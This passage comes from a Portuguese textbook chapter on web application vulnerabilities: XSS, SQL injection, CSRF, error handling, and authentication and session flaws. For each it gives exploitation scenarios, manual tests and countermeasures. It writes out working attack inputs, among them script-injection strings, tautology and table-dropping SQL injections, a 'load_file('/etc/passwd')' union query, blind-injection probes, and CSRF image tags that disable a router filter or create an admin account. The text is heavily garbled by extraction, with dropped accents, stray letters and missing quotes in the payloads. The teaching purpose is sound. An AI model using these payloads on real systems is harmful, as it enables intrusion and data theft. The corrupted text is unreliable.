6.5.1.3. Testes Para testar a presena de vulnerabilidades XSS em uma aplicaao web, o seguinte c c roteiro pode ser adotado (Wysopal et al., 2006; Meucci et al., 2008; Stuttard and Pinto, 2007; Howard et al., 2005): 1. Identique a superf de ataque da aplicaao, isto , todos os campos e pacie c e rmetros que aceitam informaes do usurio ou de fontes externas e que so a co a a exibidos em alguma das telas do sistema. 2. Para cada item encontrado no primeiro passo, insira algum cdigo Javascript o e submeta a requisiao. Adapte a entrada a maneira como ela utilizada na c ` e gerao da pgina. Por exemplo, se ela for inserida em um elemento, como ca a <... value="entrada">, o vetor de teste deve primeiramente fech-lo, antes a da incluso do cdigo. Uma possibilidade, neste caso espec a o co, seria utilizar a cadeia "><script>...</script>.
253
Figura 6.6. Tela de gerenciamento do BeEF com dois zumbis sob controle.
3. Verique se o valor de teste aparece integralmente no HTML gerado ou se e tratado, antes de ser concatenado. Se houver ltros de proteo, retorne ao ca segundo passo e empregue cada um dos vetores dispon veis em http://ha. ckers.org/xss.html, at obter sucesso ou exaurir todas as opoes. e c
6.5.1.4. Contramedidas Recapitulando, a causa raiz do XSS que cdigo fornecido por um usurio malicioso e o a e diretamente utilizado na construo de pginas dinmicas, sem o devido tratamento. ca a a Isso faz com que ele seja inserido no meio de HTML puro e entendido de acordo com as marcaoes utilizadas. Tendo isso em mente, as contramedidas tornam-se claras: c 1. Considere que toda informao fornecida por usurios maliciosa e, assim, ca a e antes de process-la, verique se ela est de acordo com valores reconhecidaa a mente vlidos para o campo ou parmetro. E importante mencionar que esta a a abordagem superior ao uso de listas negras, pois, dicilmente, poss enue e vel merar todas as entradas perniciosas poss veis. Complementarmente, restrinja o tamanho do campo ao mximo permitido. a 2. Utilize codicaao HTML na sa c da, o que faz com que caracteres potencialmente perigosos sejam tratados como parte do contedo da pgina HTML, u a em vez de considerados parte da estrutura (Stuttard and Pinto, 2007; van der Stock et al., 2008). Por exemplo, o texto <script> seria inserido na pgina a
254
como <script>, uma vez codicado. A Tabela 6.2 d o mapeamento a para os principais caracteres problemticos. a
Tabela 6.2. Codicao HTML. ca
Caractere " & < > Entidade " ' & < >
6.5.2. Injeo de SQL ca 6.5.2.1. Descrio e Causas ca Injeao de SQL , depois de cross site scripting, a vulnerabilidade mais comum c e em aplicaoes web, nos dias atuais (Stuttard and Pinto, 2007; Howard et al., 2005; c SANS, 2008b,a). Consiste em injetar cdigo SQL, em campos e parmetros da aplio a caao, com o objetivo de que seja executado na camada de dados. Em ataques c mais simples, poss realizar qualquer operaao no banco de dados, limitada aos e vel c privilgios da conta que realiza o acesso. Mas, considerando que t e e pico que contas administrativas sejam utilizadas nos sistemas, no h restrioes quanto ao que pode a a c ser feito, na prtica. Alm disso, com um pouco mais de elaborao, pode-se aproa e ca veitar os mecanismos de interaao com o sistema operacional, existentes em bancos c de dados, para leitura/escrita de arquivos e execuo de comandos arbitrrios. ca a A principal causa do problema que dados fornecidos por um usurio so e a a diretamente concatenados na construao do comando SQL a ser executado pelo c sistema gerenciador de banco de dados, sem um tratamento adequado. Exemplicando, considere-se uma aplicao que aceite como entrada um sobrenome e que ca liste os nmeros de carto de crdito associados a ele, por meio de uma consulta u a e constru da seguinte maneira: da sComando = "select * from user_data where last_name = " inputLastName + ""
Se um usurio fornecer um valor comum para o campo inputLastName, como a Smith, por exemplo, a aplicaao segue o curso normal de operao, realizando a c ca consulta abaixo ao banco de dados e exibindo os resultados conforme a Figura 6.7: select * from user_data where last_name = Smith Note-se que o valor digitado pelo usurio foi concatenado sem modicaoes na cona c sulta. O que aconteceria se, em vez de um dado vlido, ele entrasse com a cadeia a de caracteres or 1=1; -- ? A consulta resultante seria: select * from user_data where last_name = or 1=1; --
255
Figura 6.7. Operao normal de uma aplicao. ca ca
Figura 6.8. Dados extra dos por meio de injeo de SQL. ca
Neste caso, a clusula where sempre verdadeira, pois a expresso 1=1 a e a e uma tautologia e, assim, a consulta retorna todos os dados da tabela user_data, como pode ser observado na Figura 6.8. Perceba-se que os dois h fens no nal da entrada foram fornecidos para comentar o resto da linha e evitar erros de comando mal formado. Um exemplo mais contundente de ataque consiste no fornecimento da entrada ; drop table user_data; --, que causa a remoo da tabela user_data, caso ca o usurio utilizado para conexo ao banco possua os privilgios necessrios. E claro a a e a que, para realizar este ataque e outros similares, o usurio malicioso necessitaria a conhecer a estrutura de tabelas e demais objetos do banco. Mas essas informaoes, muitas vezes, so fornecidas gratuitamente em mensagens de erros, conforme c a explicado na Seo 6.5.4. ca Do acima exposto, pode-se concluir, equivocadamente, que se os erros forem tratados antes de exibidos ao usurio, atacantes tero as aes limitadas, por desa a co conhecimento da estrutura do banco. Ora, segurana algo que deve ser realizado c e em camadas e, portanto, essa medida deve ser adotada. Mas a triste verdade e que, se os defeitos mais fundamentais, como a falta de validao da entrada e a ca maneira como as consultas so constru a das, no forem corrigidos, a aplicao ainda a ca continuar vulnervel a injeao de SQL! E, nessa situaao, uma variante do ataque, a a ` c c conhecida como Injeo de SQL `s Cegas (Spett, 2003), pode ser empregada ca a para recuperar a estrutura e o contedo do banco. Esta tcnica ser explicada no u e a Cenrio 2 da Seo 6.5.2.2. a ca
256
6.5.2.2. Cenrios de Explorao a ca Cenrio 1: Acesso ao sistema de arquivos a Cada sistema gerenciador de banco de dados, normalmente, possui um conjunto de rotinas embutidas, que permitem interagir com o sistema operacional e podem ser chamadas como parte de um comando SQL. Um exemplo famoso o xp_cmdshell do e SQL Server, que permite efetuar as mesmas tarefas que as poss veis em um shell do Windows (SANS, 2008a). Logo, por meio dele, um usurio capaz de iniciar e parar a e servios, remover arquivos e executar comandos arbitrrios no sistema operacional. c a Outro exemplo interessante so os mecanismos que permitem ler e escrever o sistema a de arquivos e que esto sumarizados na Tabela 6.3. a
Tabela 6.3. Mecanismos para acesso ao sistema de arquivos.
SGBD MySQL Oracle DB2 SQL Server
Mecanismo load_file() UTL_FILE import from, export to BULK INSERT <tabela> FROM <arquivo>
Considere-se, ento, uma aplicao que utiliza um SGBD MySQL, executado a ca em plataforma Linux, e que exibe um relatrio, com base no valor digitado pelo usuo a rio em um campo de busca. Observe-se como um usurio malicioso pode aproveitar a a vulnerabilidade da aplicaao para acessar arquivos no sistema operacional: c 1. O usurio malicioso coloca o caractere no campo de busca e submete a a requisiao. A aplicaao retorna uma mensagem informando erro de sintaxe e c c que o manual do MySQL deve ser consultado. Neste ponto, obtm-se o conhee cimento do SGBD utilizado e que a aplicaao, provavelmente, vulnervel a c e a ` injeo SQL. ca 2. O atacante envia nova requisio, mas desta vez com um valor vlido, e recebe ca a um relatrio contendo uma coluna alfanumrica e outra numrica. A informao e e ao do nmero de colunas e o tipo delas fundamental para a execuao do c u e c passo seguinte. 3. O atacante coloca o seguinte texto no campo de busca e envia a solicitaao: c union select load_file(/etc/passwd),1 # 4. A aplicao recebe a entrada e executa o comando injetado load_file, resca ponsvel, neste cenrio, pela leitura do arquivo /etc/passwd, cujo contedo a a u inclu no relatrio exibido ao atacante. Note-se que o comando select e do o escrito com duas colunas, para ser poss realizar a unio com as tuplas e vel a obtidas da consulta original. O s mbolo #, por sua vez, empregado para e comentar o resto da linha sendo concatenada.
257
Cenrio 2: Injeo de SQL `s cegas a ca a O presente cenrio considera uma aplicaao com um unico campo, para entrada de a c um nmero de conta bancria. Sabe-se que a consulta realizada, quando o formulrio u a a submetido, feita a um SGBD MySQL, sobre a tabela user_data, que possui as e e colunas first_name e userid. O objetivo do problema encontrar o primeiro nome e do cliente com identicador 15613: 1. O usurio malicioso fornece vrias entradas, como ilustrado na Figura 6.9, e a a verica o resultado das solicitaoes. O item (A) indica que a aplicaao deve ser c c vulnervel a injeao de SQL; o (B) mostra a mensagem informada quando a a ` c clusula where avaliada como falsa, ao contrrio de (C); por m, o teste (D) a e a mostra que poss colocar expresses lgicas, aps o nmero de conta, que, e vel o o o u se verdadeiras, retornam a mensagem de conta vlida. Isto permite realizar a perguntas booleanas ao banco de dados e o cerne de injeao de SQL `s cegas. e c a
Figura 6.9. Mensagens exibidas em resposta a diversas entradas.
2. O prximo passo descobrir o comprimento do primeiro nome do cliente alvo. o e Para isso, o campo preenchido com o seguinte valor: e 500 or userid=15613 and char_length(first_name)=3 O nmero de conta 500 avaliado sempre como falso, conforme item (B) da u e Figura 6.9. Isso implica que a expresso s ser verdadeira, quando o segundo a o a operando do or tambm for. O resultado da submisso est ilustrado a seguir: e a a
Figura 6.10. Teste de comprimento do nome igual a trs. e
3. O atacante muda o valor de char_length() para 4 e 5 e obtm a mesma e mensagem, at que testa o valor 6, quando obtm Account number is valid. e e Isso signica que, para o userid=15613, o comprimento do campo first_name seis: e
258
500 or userid=15613 and char_length(first_name)=6 4. Agora, necessrio descobrir o valor de cada uma das letras que compem o e a o nome do cliente. Para isso, sero utilizadas as funoes ascii() e substring() a c que retornam, respectivamente, o valor ASCII do parmetro e uma subcadeia a da cadeia de caracteres fornecida. A entrada que deve ser utilizada : e 500 or userid=15613 and ascii(substring(first_name,1,1))=65 No valor acima, a segunda parte doandverica se o cdigo ASCII do primeiro o caractere do nome do cliente 65 (letra A maiscula). Ao submeter este valor, e u obtm-se a mensagem Invalid account number, que signica que a hiptese e o est incorreta. Este procedimento repetido, aumentando-se o valor 65 de a e uma em uma unidade, at receber a mensagem Account number is valid, no e caso, com a letra J (ASCII 74). 5. Esse processo repetido para cada um dos demais caracteres do nome do e cliente, mas trocando a faixa de valores ASCII testados para o intervalo que vai de 97 a 122 (letras minsculas). Ao nal das iteraes, chega-se ao resultado u co Joesph. E importante observar, primeiramente, que uma busca binria no espao de a c caracteres mais eciente que a busca linear realizada. Em segundo lugar, esse tipo e de ataque requer automatizaao, pois so muitos os passos que devem ser executados c a para a extraao de uma unica informaao. c c 6.5.2.3. Testes A melhor maneira de realizar testes em uma aplicaao, para detectar se so vulc a nerveis ` injeo de SQL, por meio de ferramentas automatizadas. Contudo, a a ca e e importante saber como um teste manual pode ser executado (Meucci et al., 2008): 1. Identique a superf de ataque da aplicaao, isto , todos os campos e pacie c e rmetros que aceitam informaes do usurio ou de fontes externas e que so a co a a utilizados na construao dinmica de comandos SQL. c a 2. Fornea, para cada um dos campos ou parmetros, delimitadores de cadeias de c a caracteres ou um ponto-e-v rgula. Esses valores resultaro em consultas mal a formadas, caso a aplicaao seja vulnervel, e, se erros no forem capturados, c a a eles sero direcionados ao usurio. Muitas vezes, essas mensagens de erro a a contm informaoes importantes, para o direcionamento de um ataque, como, e c por exemplo, o fornecedor do banco de dados utilizado ou o prprio comando o SQL executado. 3. Se a aplicao ltrar as mensagens de erro, os campos e parmetros devem ser ca a testados, utilizando-se tcnicas de injeao de SQL as cegas, conforme descrito e c ` na Seao 6.5.2.2. c
259
6.5.2.4. Contramedidas Para evitar que aplicaes web sejam vulnerveis a ataques de injeo de SQL, os co a ca seguintes controles devem ser adotados no processo de desenvolvimento: 1. Considere que toda informao fornecida por usurios maliciosa e, assim, ca a e antes de process-la, verique se ela est de acordo com valores reconhecidaa a mente vlidos para o campo ou parmetro. E importante mencionar que esta a a abordagem superior ao uso de listas negras, pois, dicilmente, poss enue e vel merar todas as entradas perniciosas poss veis. Complementarmente, restrinja o tamanho do campo ao mximo permitido. a 2. No submeta consultas ao banco de dados que sejam resultantes da concatea naao de entradas fornecidas por usurios com o comando a ser executado. c a 3. Utilize apenas comandos preparados (prepared statements), os quais so pra e compilados e permitem apenas a denio de parmetros em posioes bem ca a c denidas. Desse modo, qualquer comando fornecido por um usurio malicioso, a como parte da entrada, ser interpretado como um dado pelo SGBD. a 4. Realize o acesso a camada de dados, por meio de procedimentos denidos no ` banco de dados, encapsulando, assim, a estrutura das tabelas que compem a o aplicao. ca 5. Capture todos os erros de execuao e fornea apenas mensagens tratadas aos c c usurios, isto , no exiba erros contendo comandos SQL, pilhas de execuao a e a c e cdigos espec o cos de plataforma. 6. Utilize na aplicaao uma conta para acesso ao banco de dados com os m c nimos privilgios necessrios a execuo das tarefas. Nunca use contas com privilgios e a ` ca e DDL (Data Denition Language) e, muito menos, contas administrativas. Se isso no for respeitado, a extenso do dano, em caso de ataque bem sucedido, a a poder ser muito maior, uma vez que o atacante ser capaz de remover, incluir a a e alterar objetos estruturais, como tabelas e ndices, por exemplo. 7. Realize o robustecimento do SGBD, eliminando objetos, usurios e privilgios a e desnecessrios. Por exemplo, em verses mais antigas de Oracle, muitos pacoa o tes vinham com privilgio de execuao concedido para PUBLIC, por padro. e c a Como no item acima, a idia deste controle diminuir a extenso do dano, e e a caso as linhas de defesa falhem. 6.5.3. Cross Site Request Forgery 6.5.3.1. Descrio e Causas ca Cross Site Request Forgery (CSRF) um ataque que aproveita-se de uma sesso de e a usurio j estabelecida na aplicaao vulnervel, para realizar aoes automatizadas, a a c a c sem o conhecimento e consentimento da v tima. Exemplos de operaoes que podem c
260
ser executadas variam de um simples encerramento de sesso at a transferncia de a e e fundos em uma aplicao bancria. Na literatura, tambm conhecido por diversos ca a e e outros nomes, como XSRF, Session Riding, ataque One-Click e Cross Site Reference Forgery, os quais representam bem a natureza do problema, que est fundamentado a em trs pilares principais (Meucci et al., 2008): e Cookies e cabealhos de autorizaao de usurios autenticados em uma aplicac c a ao web so enviados automaticamente pelos navegadores em quaisquer requic a sies feitas a ela. co Uso de estrutura de URLs invarivel, isto , cada recurso da aplicaao sempre a e c e acessado pela mesma URL. A aplicao autoriza/nega que um usurio acesse um recurso, apenas com base ca a em informaes de sesso que so enviadas automaticamente pelos navegadoco a a res, conforme o primeiro item. Esses trs pontos podem ser explorados por um ataque CSRF da maneira e ilustrada na Figura 6.11, cujas etapas so abaixo esclarecidas: a
Figura 6.11. Passos de um ataque CSRF.
1. Usurio acessa a aplicaao web e informa o identicador e senha para autenticara c se e poder utilizar opes protegidas do sistema. co 2. A aplicao verica as credenciais e, caso estejam corretas, atribui um identica cador unico ` sesso do usurio, na forma de um cookie. Este ser enviado a a a a pelo navegador em todas as requisies seguintes que forem feitas ao sistema. co
261
3. Um usurio malicioso, que conhece a estrutura das URLs da aplicao, envia a ca uma mensagem ` v a tima, contendo um link para execuao de uma aao no c c sistema. Note-se que, com essa abordagem, o usurio deve ser induzido a clicar a no link, para que o ataque funcione. Logo, mais ecaz utilizar marcadores e HTML que realizem as requisies, sem intervenao humana, como o caso co c e de imagens. 4. A v tima abre uma nova janela do mesmo navegador que est usando no acesso a a aplicaao, para ler as mensagens de correio eletrnico. Nisso, acessa a mensa` c o gem maliciosa e clica no link fornecido. O navegador, ento, efetua a requisiao a c a aplicaao e envia as credenciais do usurio. ` c a 5. A aplicaao atende a requisio, pois no tem como discerni-la de uma solicic ca a tao leg ca tima, feita pela prpria interface. o Note-se que em um ataque de cross site scripting, explora-se a conana c depositada pelo usurio no site. No caso de cross site request forgery ocorre o a contrrio: o que abusada a conana que a aplicaao tem no cliente j autenticado a e e c c a (SANS, 2008b). 6.5.3.2. Cenrios de Explorao a ca Cenrio 1: Desativao do ltro de MAC de um AP a ca Este cenrio baseado em um ponto de acesso sem o real, que utiliza uma interface a e web para gerenciamento, como a grande maioria desses dispositivos. A aplicaao emc prega o mtodo de autenticaao bsica do protocolo HTTP e as requisioes so feitas e c a c a todas por meio do mtodo POST. Uma das diversas funcionalidades apresentadas e pelo equipamento o controle de acesso por meio do endereo MAC do cliente, que e c precisa estar pr-cadastrado para conseguir conectar-se. A Figura 6.12 ilustra a ine terface para desativaao desse servio e o formato da requisiao gerada, quando o c c c administrador clica em Apply.
Figura 6.12. Estrutura da requisio para desativao do ltro de MAC. ca ca
262
Com um teste simples, fcil constatar que a requisio pode ser feita tame a ca bm por meio do mtodo GET. Embora isso no seja um pr-requisito para que e e a e um ataque de cross site request forgery acontea, facilita muito a vida do atacante. c Observe-se, tambm, que, aparentemente, no h parmetros que sejam funo da e a a a ca sesso estabelecida, o que implica que a URL para realizar a operao segue uma a ca estrutura xa. Com base nessas informaoes todas, um ataque pode proceder da c seguinte maneira: 1. O administrador do ponto de acesso sem o se autentica na aplicaao de gec renciamento, utilizando um navegador X. 2. O atacante envia um e-mail em HTML ao administrador contendo o seguinte elemento: <img src="http://192.168.0.1:80/adv_filters_mac.cgi? editRow=-1&delrow=-1&filters=1&macFilter=0&name=& mac1=&mac2=&mac3=&mac4=&mac5=&mac6=" /> 3. Com a aplicaao de gerenciamento ainda aberta, o administrador acessa a c conta de e-mail, usando o mesmo navegador X, e l a mensagem maliciosa. e Quando esta exibida, a imagem carregada, automaticamente, e, com isso, e e a requisiao para desativao do ltro de MAC enviada ao ponto de acesso, c ca e juntamente com as credenciais do usurio. Como estas esto corretas, a aplia a caao atende a solicitaao, e o ataque nalizado com sucesso. c c e Cenrio 2: Aplicao vulnervel a XSS e CSRF a ca a Uma aplicaao que seja vulnervel a ataques XSS e CSRF simultaneamente perc a mite que a exploraao combinada dos problemas seja utilizada contra ela mesma. c Imagine-se, por exemplo, uma aplicaao para administrao do controle de acesso c ca lgico, com funcionalidades para criao de contas, atribuio de privilgios, criaao o ca ca e c de pers e, tambm, que possibilite que usurios enviem solicitaes de servios, e a co c por meio de uma pgina do prprio sistema, suscept a o vel a XSS. Observe-se que, neste cenrio, dada a integrao dos mdulos, o administrador estar sempre coa ca o a nectado, enquanto verica os pedidos encaminhados. Um usurio malicioso pode a aproveitar-se da situao como segue: ca 1. O usurio malicioso envia uma solicitaao ao administrador e inclui, no campo a c vulnervel a XSS, o seguinte elemento: a <img src="http://intranet/criaUsuario.php?id=evil&pwd=facil& perfil=administrador"> 2. O administrador abre o pedido do atacante e, automaticamente, a requisiao c e feita a aplicao, com as credenciais do primeiro. Pelos parmetros, percebe-se ` ca a que a ao resultar na criaao de um usurio com perl administrativo, cuja ca a c a senha conhecida pelo atacante. e
263
6.5.3.3. Testes Testes para detecao de vulnerabilidades que permitem ataques CSRF so realizados c a manualmente e seguem o roteiro abaixo (SANS, 2008b,a): 1. Habilite um proxy local para interceptar as requisioes feitas ` aplicao. c a ca 2. Autentique-se no sistema e percorra as diversas areas protegidas. 3. Para cada requisio, identique os parmetros e construa uma pgina HTML ca a a para efetuar a mesma solicitaao. c 4. Abra a pgina criada em uma nova janela e verique se a ao foi realizada a ca pela aplicao, automaticamente. ca 6.5.3.4. Contramedidas Abaixo seguem as principais contramedidas contra ataques CSRF, sendo que as trs e primeiras so aspectos de implementaao e as duas ultimas, boas prticas para os a c a usurios: a 1. Utilize informaoes relacionadas a cada sesso nas URLs e verique-as, quando c a uma requisio for realizada. Isso evita que se saiba de antemo o formato da ca a URL, o que necessrio para montar o ataque. e a 2. Solicite que o usurio se reautentique, antes de realizar operaes cr a co ticas. Desse modo, caso uma requisiao seja feita automaticamente, como parte de c um CSRF, a operaao no ser realizada. c a a 3. Utilize o mtodo POST em vez de GET. Embora isso no seja, nem de longe, e a uma soluo completa, diculta um pouco a vida do atacante eventual. ca 4. No permita que o navegador armazene credenciais de acesso, pois elas seriam a enviadas automaticamente em um ataque desse tipo. 5. No utilize o mesmo navegador para acessar sistemas cr a ticos e para navegar na Internet. 6.5.4. Tratamento Inadequado de Erros 6.5.4.1. Descrio e Causas ca Uma aplicaao que no trata adequadamente os erros que ocorrem est sujeita a c a a diversos riscos de segurana, incluindo indisponibilidade e quebra de mecanismos c de proteo. O mais comum, entretanto, que a situaao facilite o levantamento ca e c de informaes do sistema, fundamentais para se traar uma estratgia eciente co c e de ataque. Por exemplo, se o sistema gerenciador de bancos de dados utilizado e conhecido, no faz sentido perder tempo, efetuando ataques que funcionam especia camente para outros SGBDs.
264
Figura 6.13. Exemplos de erros.
Essas situaoes podem resultar das seguintes prticas (Howard et al., 2005): c a Fornecer muitas informaes caso um erro acontea, a aplicaao d detalhes co c c a do ocorrido, inclusive o cdigo ou comando que gerou o problema e, as veo ` zes, como resolv-lo. Nesse contexto, a Figura 6.13 ilustra um servidor web e mal congurado, que revela o fabricante, em uma mensagem de erro, e uma aplicao que mostra o comando SQL executado, com problema de sintaxe. ca Ignorar erros os cdigos de erro devolvidos pelas funoes so ignorados e o c a funes dependentes so chamadas sem que eles sejam vericados. Normalco a mente, isso causa o encerramento da aplicao, porque uma pr-condiao para ca e c execuo de uma rotina no est satisfeita. ca a a Tratar todas as excees de maneira genrica um mecanismo genrico co e e e utilizado para o tratamento de erros, inclusive aqueles que a aplicaao no tem c a nem idia de como lidar. Isso pode esconder problemas de lgica, deixando-os e o latentes, at que uma situao espec e ca ca ocorra e resulte em uma falha. 6.5.4.2. Cenrios de Explorao a ca Cenrio 1: Quebrando mecanismo de autenticao a ca Considere-se a aplicao ilustrada na Figura 6.14, que permite acesso as areas sens ca ` veis, somente aos usurios devidamente autenticados e autorizados. Observe-se que a o identicador de usurio e senha so enviados em dois parmetros distintos, por a a a meio do mtodo POST, quando o boto Login clicado. e a e O objetivo violar o mecanismo de autenticao e conseguir conectar-se e ca a aplicaao sem conhecimento de usurio e senha vlidos. Um ponto de partida ` c a a para esse m o fato de que muitas aplicaoes, em situaoes de erro inesperadas, e c c falham e cam em um estado inseguro. Uma abordagem, ento, remover um dos a e
265
Figura 6.14. Tela de autenticao e formato da requisio. ca ca
parmetros esperados pela aplicaao, antes de submeter-lhe a requisio, e observar a c ca o comportamento adotado. Com esse propsito, o atacante habilita um proxy, para o interceptar e modicar a solicitaao, antes que seja enviada, conforme ilustrado na c Figura 6.15. Neste caso espec co, isso basta para um ataque bem sucedido.
Figura 6.15. Requisio sem o parmetro Password ca a .
6.5.4.3. Testes Segundo Howard et al. (2005), a melhor maneira de detectar esse problema por e meio de inspeao de cdigo, pois dif fazer a aplicaao falhar de maneira sistemc o e cil c a tica, em todos os casos. Apesar disso, alguns erros mais comuns podem ser testados com certa facilidade: 1. Para vericar se um servidor web exibe informaoes de fornecedor e verso, c a acesse o dom nio, a partir de um navegador, e coloque como recurso desejado um valor aleatrio como em http://www.exemplo.com/fsfdsa. Se no estiver o a bem congurado, a pgina de erro padro ser exibida, juntamente com os a a a dados desejados. 2. Verique se campos de busca so vulnerveis a injeo de SQL e, assim, se a a ca e poss obter informaes das estruturas das tabelas. vel co
266
3. Navegue na aplicaao e veja o que ocorre, quando parmetros enviados em c a requisioes so deliberadamente removidos. c a 6.5.4.4. Contramedidas O objetivo desses controles fornecer o m e nimo de informaao poss c vel para um usurio malicioso e manter a aplicao em um estado seguro, frente a situaes a ca co inesperadas de erro: 1. Trate todo erro que ocorrer na aplicaao e no exiba informaes internas como c a co pilhas de execuo, comandos SQL e descriao da infra-estrutura de suporte. ca c 2. Falhe de maneira segura, isto , se uma situaao inesperada ocorrer, mantenhae c se em um estado seguro. Por exemplo, caso um erro no processo de autenticaao ocorra, pro o acesso. c ba 3. No fornea informaoes desnecessrias ao usurio, em nome da usabilidade. a c c a a Em uma tela de autenticaao, por exemplo, independentemente do usurio c a no existir ou da senha estar incorreta, exiba a mesma mensagem de erro, a informando que as credenciais fornecidas so invlidas. a a 4. Congure as plataformas da aplicaao, como bancos de dados e servidores web, c para no fornecerem informaes padronizadas de erro contendo, marca,verso a co a do software, ou quaisquer dados de identicaao do ambiente. c 6.5.5. Falhas no Gerenciamento de Autenticao e Sesso ca a 6.5.5.1. Descrio e Causas ca Vulnerabilidades no processo de autenticaao e no gerenciamento de sesses permic o tem acesso ileg timo a aplicao, seja pela porta da frente, por meio do fornecimento ` ca de credenciais vlidas de outro usurio, ou pela lateral, seqestrando uma sesso j a a u a a em andamento. Em qualquer dos casos, o atacante ter acesso no autorizado `s a a a informaes da v co tima e poder realizar aes em nome dela. O problema torna-se a co muito mais cr tico, se a conta comprometida tiver privilgios administrativos (Meucci e et al., 2008; Stuttard and Pinto, 2007). Muitas aplicaoes web submetem credenciais de acesso, por meio do protocolo c HTTP, sem proteo nenhuma. Desse modo, essas informaes podem ser facilmente ca co capturadas, at chegarem ao servidor, e utilizadas para autenticar-se no sistema. e Para exemplicar, at h bem pouco tempo atrs, diversos sites de correio eletrnico e a a o funcionavam dessa maneira. Hoje em dia, isso melhorou muito, mas so poucos os a que protegem a sesso inteira por meio do protocolo HTTPS. Isso implica que os a identicadores de sesso podem ser obtidos pela escuta da rede, aps a autenticaao, a o c e usados para seqestrar uma sesso. u a Uma das tcnicas que podem ser empregadas para quebrar o mecanismo de e autenticao o ataque por fora bruta, isto , testar, para um conjunto de identicaca e c e dores, todas as senhas poss veis, ou as presentes num dicionrio. O ponto de partida, a
267
ento, conseguir enumerar alguns usurios da aplicao, o que pode ser facilitado, a e a ca se so empregados identicadores fceis de adivinhar ou contas pr-instaladas. Outra a a e via muito comum at este objetivo consiste em explorar mecanismos de autenticao e ca que exibem mensagens diferentes para eventos de senha incorreta e usurio inexisa tente. Basta fornecer diversos nomes de usurio e senha e observar a resposta do a sistema. Ainda que esse primeiro passo seja dado pelo usurio malicioso, para o a ataque funcionar, a aplicaao precisa ser incapaz de travar a conta por mltiplas c u tentativas invlidas de autenticao e, tambm, no implementar uma pol a ca e a tica de senhas fortes. Cuidados devem ser tomados para evitar que o mecanismo de autenticao ca seja ignorado. Um deslize comum, nesse sentido, criar uma pgina de autenticao e a ca que, em caso de sucesso, redireciona o usurio para areas protegidas da aplicao, a ca mas no controla o acesso direto a essas pginas, sem passar pela tela inicial. Nesta a a mesma linha, algumas aplicaes podem ser enganadas, pela simples manipulao de co ca parmetros. Por exemplo, um usurio malicioso pode trocar autenticado=nao para a a autenticado=sim, em um campo escondido. Por m, erros de lgica no mecanismo o de autenticao podem por tudo a perder. ca Mecanismos de recuperaao e troca de senhas podem, muitas vezes, ser um c caminho para dentro da aplicaao. Alguns erros que devem ser evitados no primeiro c caso compreendem: utilizaao de perguntas secretas com respostas fceis de serem c a adivinhadas; inexistncia de mecanismo de travamento por tentativas invlidas; e, e a exibiao da senha atual, caso o usurio responda corretamente `s perguntas secretas. c a a J com relao ` troca de senhas, ataques so poss a ca a a veis quando a senha antiga no a solicitada, antes da realizaao da operaao. e c c Vulnerabilidades envolvendo o gerenciamento de sesses envolvem a qualio dade e a proteao dos identicadores de sesso. Valores previs c a veis permitem que um atacante se conecte ao sistema e possa tomar a sesso de outros usurios, sima a plesmente, substituindo o identicador de sesso a ele atribu por um outro vlido a do a qualquer. A Figura 6.16 ilustra uma srie de mil identicadores, com baixa aleae toriedade, e, portanto, vulnervel. Se a aplicaao aceitar identicadores denidos a c por usurios, ataques de xao podem ser realizados, e o atacante no precisa nem a ca a descobrir valores vlidos. a Um problema comum no procedimento de encerramento de sesso no invaa e a lidar o identicador de sesso no lado do servidor. Muitas vezes, a aplicaao apenas a c redireciona o usurio para uma pgina externa ` area protegida, mas a sesso cona a a a tinua ativa. Nesse caso, requisies realizadas com o identicador continuam a ser co atendidas pelo sistema. 6.5.5.2. Cenrios de Explorao a ca Cenrio 1: Mecanismo de autenticao com erro de lgica a ca o Um sistema possui uma tela de autenticao, contendo campos para identicador de ca usurio e senha, e envia essas informaoes ao servidor por meio do protocolo HTTPS. a c As credenciais, ao serem recebidas pelo servidor, so conferidas pelo seguinte trecho a
268
Figura 6.16. Identicadores de sesso com baixa aleatoriedade. Amostra de mil valores. a
de pseudo-cdigo: o sComando = "select count(*) into :nCount from usuarios where id = " + sIdentificador + " and senha = " + sSenha + ""; SqlExecute(hSql, sComando); if (nCount > 0) print("Usurio autenticado"); a O mecanismo pode ser quebrado da seguinte maneira: 1. Usurio malicioso digita o caractere no campo de usurio e descobre que a a a aplicao vulnervel a injeo de SQL. ca e a ` ca 2. O atacante fornece o valor or 1=1;-- para o campo usurio e um valor a qualquer para a senha. 3. A aplicaao executa a consulta: c select count(*) into :nCount from usuarios
269
where id = or 1=1;-- and senha = qualquervalor; Como a expresso 1=1 uma tautologia, o where avaliado como verdaa e e deiro para todas as tuplas da tabela e a quantidade delas ser armazenada em a nCount. Devido a construao do if, a aplicaao autentica o usurio, mesmo c c a sem ele saber a senha correta. Cenrio 2: Troca de senha sem autenticao a ca Este cenrio consiste de uma aplicao que no solicita a senha atual para realizar a ca a a troca de senhas. Por motivos de segurana, a tela para efetuar essa operaao c c e acess somente a usurios autenticados e solicita que o usurio digite a nova senha vel a a duas vezes. A requisiao enviada pelo mtodo POST e o identicador do usurio c e e a atual, em um campo escondido do formulrio. Os passos para explorar essa situaao a c so simples: a 1. Usurio malicioso habilita um proxy local, para interceptar as requisioes para a c a aplicaao. c 2. Ele se autentica na aplicaao e, em seguida, acessa a pgina para troca de c a senhas, residente na area protegida. 3. O atacante digita duas vezes a mesma senha e envia a requisiao, que interc e ceptada pelo proxy. Basta, agora, alterar o valor do campo escondido para o identicador da v tima, que a senha dela ser trocada pela escolhida. a 6.5.5.3. Testes Os seguintes testes devem ser aplicados sobre os mecanismos de autenticaao e gec renciamento de sesses: o 1. Utilize um proxy local para vericar se as requisies de autenticao so co ca a enviadas por meio do protocolo HTTPS. Pode ocorrer da tela em que so a colhidas as credenciais ser fornecida por HTTP, mas a requisiao ser enviada c pela verso protegida do protocolo, ou vice-versa. a 2. Com uma conta vlida, altere a senha algumas vezes para vericar se a aplia caao implementa comprimento m c nimo, complexidade e histrico. o 3. Utilize ferramentas automatizadas para encontrar contas padronizadas na aplicaao e nas plataformas de suporte. c 4. Verique se as mensagens de erro para conta invlida e senha incorreta so as a a mesmas. 5. Realize teste de fora bruta contra o mecanismo de autenticaao. c c
270
